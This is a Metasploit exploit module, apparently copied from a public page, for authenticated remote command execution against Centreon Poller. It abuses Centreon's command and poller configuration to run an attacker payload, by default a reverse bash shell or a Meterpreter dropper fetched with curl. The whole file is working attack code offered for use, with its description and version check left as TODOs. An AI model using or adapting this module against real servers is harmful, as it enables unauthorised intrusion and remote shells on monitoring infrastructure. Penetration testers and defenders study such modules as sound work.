Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Centreon Poller Authenticated Remote Command Execution',  
'Description' => %q{  
TODO  
},  
'Author' => [  
'Omri Baso', # discovery  
'Fabien Aunay', # discovery  
'mekhalleh (RAMELLA Sébastien)' # this module  
],  
'References' => [  
# TODO: waiting for CVE  
['EDB', '47977']  
],  
'DisclosureDate' => '2020-01-27',  
'License' => MSF_LICENSE,  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_CMD, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
['Reverse shell (In-Memory)',  
'Platform' => 'unix',  
'Type' => :cmd_unix,  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
],  
['Meterpreter (Dropper)',  
'Platform' => 'linux',  
'Type' => :meterpreter,  
'Arch' => ARCH_X64,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'CMDSTAGER::FLAVOR' => 'curl' # illegal characters: `~$^&"|'<>  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
))  
  
register_options([  
OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),  
OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),  
OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])  
])  
end  
  
def create_new_poller(poller_name, command_id)  
print_status("Create new poller entry on the target.")  
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60901'})  
return false unless token  
  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60901'),  
'cookie' => @cookies,  
'partial' => true,  
'vars_post' => {  
'name' => poller_name,  
'ns_ip_address' => '127.0.0.1',  
'localhost[localhost]' => '1',  
'is_default[is_default]' => '0',  
'remote_id' => '',  
'ssh_port' => '22',  
'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',  
'engine_start_command' => 'service centengine start',  
'engine_stop_command' => 'service centengine stop',  
'engine_restart_command' => 'service centengine restart',  
'engine_reload_command' => 'service centengine reload',  
'nagios_bin' => '/usr/sbin/centengine',  
'nagiostats_bin' => '/usr/sbin/centenginestats',  
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',  
'broker_reload_command' => 'service cbd reload',  
'centreonbroker_cfg_path' => '/etc/centreon-broker',  
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',  
'centreonbroker_logs_path' => '/var/log/centreon-broker',  
'centreonconnector_path' => '',  
'init_script_centreontrapd' => 'centreontrapd',  
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',  
'pollercmd[0]' => command_id,  
'clone_order_pollercmd_0' => '',  
'ns_activate[ns_activate]' => '1',  
'submitA' => 'Save',  
'id' => '',  
'o' => 'a',  
'centreon_token' => token  
}  
)  
return false unless response  
  
return true  
end  
  
def execute_command(command, opts = {})  
cmd_name = rand_text_alpha(8..42)  
poller_name = rand_text_alpha(8..42)  
  
## Register a miscellaneous command.  
print_status("Upload command payload on the target.")  
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60803', 'type' => '3'})  
return false unless token  
  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60803&type=3'),  
'cookie' => @cookies,  
'partial' => true,  
'vars_post' => {  
'command_name' => cmd_name,  
'command_type[command_type]' => '3',  
'command_line' => command,  
'resource' => '$CENTREONPLUGINS$',  
'plugins' => '/Centreon/SNMP',  
'macros' => '$ADMINEMAIL$',  
'command_example' => '',  
'listOfArg' => '',  
'listOfMacros' => '',  
'connectors' => '',  
'graph_id' => '',  
'command_activate[command_activate]' => '1',  
'command_comment' => '',  
'submitA' => 'Save',  
'command_id' => '',  
'type' => '3',  
'o' => 'a',  
'centreon_token' => token  
}  
)  
return false unless response  
  
## Create new poller to serve the payload.  
create_new_poller(poller_name, get_command_id(cmd_name))  
poller_id = get_poller_id(poller_name)  
  
## Export configuration to reload to trigger the exploit.  
unless poller_id.nil?  
restart_exportation(poller_id)  
end  
end  
  
def get_auth  
print_status("Send authentication request.")  
token = get_token(normalize_uri(target_uri.path, 'index.php'))  
unless token.nil?  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'cookie' => @cookies,  
'vars_post' => {  
'useralias' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'submitLogin' => 'Connect',  
'centreon_token' => token  
}  
)  
return false unless response  
  
if response.redirect?  
if response.headers['location'].include?('main.php')  
print_status('Successful authenticated.')  
@cookies = response.get_cookies  
return true  
end  
end  
end  
  
print_bad('Your credentials are incorrect.')  
return false  
end  
  
def get_command_id(cmd_name)  
response = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'main.get.php'),  
'cookie' => @cookies,  
'vars_get' => {  
'p' => '60803',  
'type' => '3'  
}  
)  
return nil unless response  
  
href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']  
return nil unless href  
  
id = href.split('?')[1].split('&')[2].split('=')[1]  
return id unless id.empty?  
  
return nil  
end  
  
def get_poller_id(poller_name)  
response = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'main.get.php'),  
'cookie' => @cookies,  
'vars_get' => {'p' => '60901'}  
)  
return nil unless response  
  
href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']  
return nil unless href  
  
id = href.split('?')[1].split('&')[2].split('=')[1]  
return id unless id.empty?  
  
return nil  
end  
  
def get_session  
response = send_request_cgi(  
'method' => 'HEAD',  
'uri' => normalize_uri(target_uri.path, 'index.php')  
)  
cookies = response.get_cookies  
return cookies unless cookies.empty?  
end  
  
def get_token(uri, params = {})  
## Get centreon_token value.  
request = {  
'method' => 'GET',  
'uri' => uri,  
'cookie' => @cookies  
}  
request = request.merge({'vars_get' => params}) unless params.empty?  
response = send_request_cgi(request)  
  
return nil unless response  
return response.get_html_document.at('input[@name="centreon_token"]')['value']  
end  
  
def restart_exportation(poller_id)  
print_status("Reload the poller to trigger exploitation.")  
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id})  
  
vprint_status(' -- Generating files.')  
unless token.nil?  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),  
'cookie' => @cookies,  
'vars_post' => {  
'poller' => poller_id,  
'debug' => 'true',  
'generate' => 'true'  
}  
)  
return nil unless response  
  
vprint_status(' -- Restarting engine.')  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),  
'cookie' => @cookies,  
'vars_post' => {  
'poller' => poller_id,  
'mode' => '2'  
}  
)  
return nil unless response  
  
vprint_status(' -- Executing command.')  
response = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),  
'cookie' => @cookies,  
'vars_post' => {'poller' => poller_id}  
)  
return nil unless response  
end  
end  
  
def check  
# TODO: Detection by version number (waiting to know the impacted versions).  
end  
  
def exploit  
## TODO: check  
  
@cookies = get_session  
logged = get_auth unless @cookies.empty?  
if logged  
case target['Type']  
when :cmd_unix  
execute_command(payload.encoded)  
when :meterpreter  
execute_command(generate_cmdstager.join)  
end  
end  
end  
  
end